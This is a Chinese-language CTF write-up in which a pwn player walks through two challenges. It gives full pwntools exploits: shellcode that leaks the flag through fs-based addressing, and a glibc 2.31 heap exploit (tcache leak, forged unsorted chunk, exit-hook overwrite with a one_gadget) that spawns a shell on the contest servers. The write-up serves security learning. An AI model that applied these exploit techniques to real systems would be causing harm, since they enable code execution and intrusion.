不会有人上完5天班周六还有早八吧?

比赛成绩


直接被队友cjj带飞,ak了misc和电子取证两大分区,卑微pwn手只出了一道pwn,水了几道取证,还有一道pwn比赛结束半小时出了。。。

EscapeShellcode

在HGAME2022做到过有关线程的题,里面用到了fs寻址,fs上一般会有很多有用的信息
经过调试发现在fsbase+0x300的位置有栈地址,然后在栈地址+0x10找到了start的地址,与flag的地址偏移固定,直接调用write输出flag即可
需要注意一下libc环境,ubuntu20.04做的时候栈地址上直接就有程序地址,但是在远程上并没有,+10的地方还是start,建议用ubuntu18.04复现
exp:

#encoding: utf-8
#!/usr/bin/python

from pwn import *
import sys
#from LibcSearcher import LibcSearcher

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='escape_shellcode'

elf=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
    #p=process("./"+binary_name,env={"LD_PRELOAD":"./"+libc_name})
    #p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
    #p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
    p=remote('39.106.154.121',40433)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

# variables

# gadgets

# helper functions

op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32
op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64

# main

#z("search -8 0x0BEEFDEADBEEFB848")
#pause()

code='''
mov rax,fs:0x300
mov rax,[rax+0x10]
mov rsi,rax
add rsi,0x2f80
mov rdi,1
mov rdx,0x30
xor rax,rax
mov rax,1
syscall
'''

shellcode=asm(code)
p.send(shellcode)
print(p.recv())
ia()

Bank

C语言菜的要死还懒得调试的后果,结束前40分钟发现admin输出的是堆上的内容不是bss上的,最后急急忙忙还是没能在比赛前做出来呜呜

可以看到ghost里有个realloc,最大size为0x100,花费0xB的money
利用realloc的机制,申请比原size大的堆块的时候,如果底下没有闲置空间,会free掉原来的堆块。题目限制了realloc的大小,只能放到tcache里,libc-2.31有tcache->key,可以用来泄露堆地址,算好偏移就行,注意用realloc多申请几个大堆块,使其达到admin输出范围,用guest的堆块隔开每个realloc出的堆块,申请大一号size就可以不释放原来的堆块,重新开辟一块

然后是利用guest可以写堆块以及hacker可以任意free堆块实现伪造unsorted bin大小的堆块,用guest伪造好0x421的堆块头,然后底下布置好堆块绕过检查,将其释放到unsorted bin中
检查需要注意伪造的地址+0x420处要有被占用的堆块头,另外下个堆块的prev_inuse位也得置1,或者下面直接为top_chunk,因为会检查向下合并

然后利用admin输出(比赛时还忘了admin输出有限制,伪造的size离的太近没法输出头结点,结果堆布局全部改了一遍www)

然后释放0x203050的堆块,用guest申请回来写入exit_hook的地址,最后用abyss写入one_gadget,exit触发拿到shell
libc和ld的偏移比较麻烦,我这里远程是用题目的libc和本机(ubuntu20.04)的ld做的,估计libc有点差异(明明都是9.2而且文件大小一模一样,麻了)
exp:

#encoding: utf-8
#!/usr/bin/python

from pwn import *
import sys
#from LibcSearcher import LibcSearcher

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='Bank'
libc_name='libc-2.31.so'
ld_name='ld-2.31.so'

libc=ELF("./"+libc_name)
ld=ELF("./"+ld_name)
elf=ELF("./"+binary_name)

if local:
    #p=process("./"+binary_name)
    p=process("./"+binary_name,env={"LD_PRELOAD":"./"+libc_name})
    #p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
    #p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
    p=remote('39.107.108.120',13296)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
    sl(str(num))

def add(size):
    cho(1)
    sl(str(size))

def edit(idx,size,con):
    cho(2)
    sl(str(idx))
    sl(str(size))
    sd(con)

def show(idx):
    cho(3)
    sla("Index :",str(idx))

def delete(idx):
    cho(3)
    sl(str(idx))

# admin,hacker,guest,ghost,abyss
def pay_to(user,size):
    sa("Click: ","Transfer")
    sa("who? ",user)
    sa("How much? ",str(size))

# variables

# gadgets

og=[0xe6c7e,0xe6c81,0xe6c84,0xe6e73,0xe6e76]

# helper functions

op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32
op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64

# main

sa("Click: ","Login")
sa("Card Numbers: ","6"*0x11)
sa("Password: ","6"*7)

# pay_out_money 0x190
sa("Click: ","Put")
sa("How Much? ",str(0x190))

pay_to("ghost",0xB)
sa("ghost: &^%#@!   :)",str(0xa0))

pay_to("guest",0xB)
sa("data: ",'A'*0x10)

pay_to("ghost",0xB)
sa("ghost: &^%#@!   :)",str(0xb0))

pay_to("guest",0xB)
sa("data: ",p64(0)+p64(0x421))

pay_to("ghost",0xB)
sa("ghost: &^%#@!   :)",str(0xc0))

pay_to("guest",0xB)
sa("data: ",'A'*0x10)

pay_to("ghost",0xB)
sa("ghost: &^%#@!   :)",str(0xd0))

pay_to("guest",0xB)
sa("data: ",'A'*0x10)

pay_to("ghost",0xB)
sa("ghost: &^%#@!   :)",str(0xe0))

pay_to("guest",0xB)
sa("data: ",'A'*0x10)

pay_to("ghost",0xB)
sa("ghost: &^%#@!   :)",str(0xf0))

pay_to("guest",0xB)
sa("data: ",p64(0)+p64(0x31))

pay_to("guest",0xB)
sa("data: ",'A'*0x10)

pay_to("guest",0xB)
sa("data: ",'A'*0x10)

pay_to("admin",0x1f)
ru("I think ")
heap_addr=int(p.recv(14),16)

pay_to("hacker",0x33)
sa("hacker: Great!",str(heap_addr+1104))

pay_to("admin",0x38)
ru("I think ")
unsorted_addr=int(p.recv(14),16)

libc_base=unsorted_addr-2014176
ld_base=libc_base+2048000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
one_gadget=libc_base+og[0]

success("heap_addr:"+hex(heap_addr))
success("libc_base:"+hex(libc_base))
success("one_gadget:"+hex(one_gadget))
#z("set a=rebase(0x203050)")
#z("b *"+hex(one_gadget))
#pause()

pay_to("hacker",0x33)
sa("hacker: Great!",str(heap_addr+656))

pay_to("guest",0xB)
sa("data: ",p64(_dl_rtld_lock_recursive))

pay_to("abyss",0x10)
p.send(str(one_gadget))

ia()

赛后看别的师傅的wp发现原来还藏了个刷钱的洞,money等于要存入的钱时,不会减少金额

不过写exp的时候用realloc疯狂申请堆块,省了好多钱,这个洞没发现也做出来了,请叫我省钱大师hhh


现在、你眼中看到了什么?